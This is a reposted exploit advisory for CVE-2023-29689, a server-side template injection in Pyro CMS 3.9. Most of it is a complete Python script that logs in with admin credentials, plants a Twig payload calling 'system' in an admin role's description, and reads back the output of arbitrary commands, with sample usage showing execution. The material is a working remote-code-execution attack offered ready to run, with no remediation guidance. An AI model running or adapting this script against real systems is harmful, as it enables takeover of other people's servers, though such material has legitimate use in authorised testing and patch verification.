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Pyro CMS 3.9 Server-Side Template Injection

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023080043

Below is a copy:

Pyro CMS 3.9 Server-Side Template Injection
# Exploit Title: Pyro CMS 3.9 - Server-Side Template Injection (SSTI) (Authenticated)
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
# Date: 03/08/2023
# Vendor: https://pyrocms.com/
# Software Link: https://pyrocms.com/documentation/pyrocms/3.9/getting-started/installation
# Vulnerable Version(s): 3.9
# CVE: CVE-2023-29689
# Notes: You need a user who has access to /admin privilege

# Example Usage:
# First, run the script: python3 CVE-2023-29689.py
# Please follow these steps:
# 1. Enter the application URL: http://localhost:8000
# 2. Enter the email for authentication: [email protected]
# 3. Enter the password: Admin@@2023
# 4. Enter the command to be executed: id
# Result of command execution:
# uid=1000(cupcake) gid=1000(cupcake) groups=1000(cupcake)

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin

def login(session, url, email, password):
    login_url = urljoin(url, '/admin/login')
    response = session.get(login_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'email': email,
        'password': password
    }

    session.post(login_url, data=payload)

# Function to edit role 1 and extract the Description of the Admin user.
def edit_role_and_extract_description(session, url, command):
    edit_role_url = urljoin(url, '/admin/users/roles/edit/1')
    response = session.get(edit_role_url)
    soup = BeautifulSoup(response.content, 'html.parser')
    token = soup.find('input', {'name': '_token'})['value']

    payload = {
        '_token': token,
        'name_en': 'Admin',
        'slug': 'admin',
        'description_en': f'{{{{["{command}"]|map("system")|join}}}}',
        'action': 'save_exit'
    }

    session.post(edit_role_url, data=payload)

    # Extract the updated Description from role 1.
    response = session.get(urljoin(url, '/admin/users/roles'))
    soup = BeautifulSoup(response.content, 'html.parser')
    description = soup.find('td', {'data-title': 'Description'}).text.strip()

    return description
    
def main():
    url = input("Enter the application URL: ")
    email = input("Enter the email for authentication: ")
    password = input("Enter the password : ")
    command = input("Enter the command to be executed: ")

    with requests.Session() as session:
        login(session, url, email, password)
        description = edit_role_and_extract_description(session, url, command)
        print("\nResult of command execution:")
        print(description)

if __name__ == "__main__":
    main()

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